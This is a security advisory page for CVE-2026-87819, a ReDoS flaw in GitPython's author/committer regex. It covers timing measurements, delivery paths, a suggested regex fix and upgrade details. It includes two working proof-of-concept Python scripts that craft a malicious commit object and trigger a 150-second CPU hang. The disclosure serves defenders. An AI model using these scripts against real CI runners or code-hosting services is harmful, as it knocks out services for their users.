Skip to content
CVE IDCVE-2026-87819GitHub advisory IDGHSA-g5vv-9gxw-82hx

GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing

CVE-2026-87819 (GitHub advisory GHSA-g5vv-9gxw-82hx) is a high-severity vulnerability with a CVSS 4.0 base score of 8.7, classed as Uncontrolled Resource Consumption (CWE-400), in gitpython (PyPI). Affected versions: < 3.1.60. It is fixed in 3.1.60.

High8.7Fix availableGitHub reviewed

Published 9 Sept 2026Updated 8 Oct 2026

8.7HighCVSS 4.0
EPSS
0.52%higher than 41% of CVEs
Weaknesses (CWE)
  • CWE-400Uncontrolled Resource Consumption
  • CWE-1333Inefficient Regular Expression Complexity
KEV status
Not in KEV
Published
9 Sept 2026
Updated
8 Oct 2026
Ecosystem
  • PyPI
Assigned by (CNA)
VulnCheck

Summary

Source: OSV (GitHub advisory)

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.


Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by:

  • commit.author
  • commit.committer
  • repo.iter_commits()
  • repo.blame()
  • Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Author field length (bytes)Time to resolve .author
1,0000.0035 s
5,0000.084 s
10,0000.341 s
20,0001.525 s
40,0005.963 s
60,00013.360 s
80,00023.871 s
200,000150.488 s

Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:

  • A git server with receive.fsckObjects = false (common in self-hosted deployments)
  • A .git directory shipped as a tarball, backup, or zip archive
  • A git bundle file
  • Any automated mirror or import tool that operates at the object level

PoC

Environment used for testing:

  • GitPython 3.1.59, installed in editable mode from source (no code modifications)
  • Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craft_malicious_repo.py):

#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2 — trigger the vulnerability (trigger_redos.py):

#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author — triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.


Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:

  • CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it.
  • Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata.
  • Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author access. When iter_commits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.


Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:

# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

# After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.

Technical details

Source: CVE.org

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

High8.7Base score from CVE.org

Attack Vector AV
Network
Attack Complexity AC
Low
Attack Requirements AT
None
Privileges Required PR
None
User Interaction UI
None
Confidentiality (Vulnerable System) VC
None
Integrity (Vulnerable System) VI
None
Availability (Vulnerable System) VA
High
Confidentiality (Subsequent Systems) SC
None
Integrity (Subsequent Systems) SI
None
Availability (Subsequent Systems) SA
None

CISA SSVC decision points

Exploitation
none
No public exploitation evidence
Automatable
yes
Attackers can automate this at scale
Technical impact
partial
Limited control of the affected system

CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.

Affected packages

Source: OSV (GitHub advisory)

  • gitpython
    PyPI
    pkg:pypi/gitpython
    Affected versions
    < 3.1.60
    Fixed in
    3.1.60
    Show 112 listed versions
    • 0.1.7
    • 0.2.0-beta1
    • 0.3.0-beta1
    • 0.3.0-beta2
    • 0.3.1-beta2
    • 0.3.2
    • 0.3.2.1
    • 0.3.2.RC1
    • 0.3.3
    • 0.3.4
    • 0.3.5
    • 0.3.6

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 3.1.60 or later.

Patch commits

  • 751473aPatch commitgithub.com/gitpython-developers/GitPython

    fix: parse actor identities without regular expressions

    +41 −16 across 3 files

    • doc/source/changes.rst+13 −0
    • git/util.py+8 −16
    • test/test_actor.py+20 −0
  • #2215Pull requestgithub.com/gitpython-developers/GitPython

Release commits

The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.

  • 56636c3Release commit3.1.60github.com/gitpython-developers/gitpython

Vulnerability intelligence

References

Credits

Questions about CVE-2026-87819

What is the GHSA ID for CVE-2026-87819?
GitHub tracks CVE-2026-87819 as GHSA-g5vv-9gxw-82hx.
What is the CVSS score of CVE-2026-87819?
CVE-2026-87819 has a CVSS 4.0 base score of 8.7 (High), vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. Other published scores: CVSS 3.1 7.5.
Which versions are affected by CVE-2026-87819?
gitpython (PyPI): < 3.1.60.
How do I fix CVE-2026-87819?
Upgrade to 3.1.60 or later. The fix is in commit 751473a and pull request #2215.
What is the Package URL (PURL) for CVE-2026-87819?
The affected package's PURL is pkg:pypi/gitpython.
Is CVE-2026-87819 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-87819. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "none". EPSS estimates a 0.52% chance of exploitation in the next 30 days, higher than 41% of CVEs.

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)LoadedRaw JSON
  • CVE.orgLoaded
  • CISA KEV catalogLoaded

Fetched 2 days ago (13 Oct 2026, 13:22 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
CVE.org
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
SSVC
CVE.org
KEV status
CISA KEV catalog
EPSS
GitHub Advisory Database

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.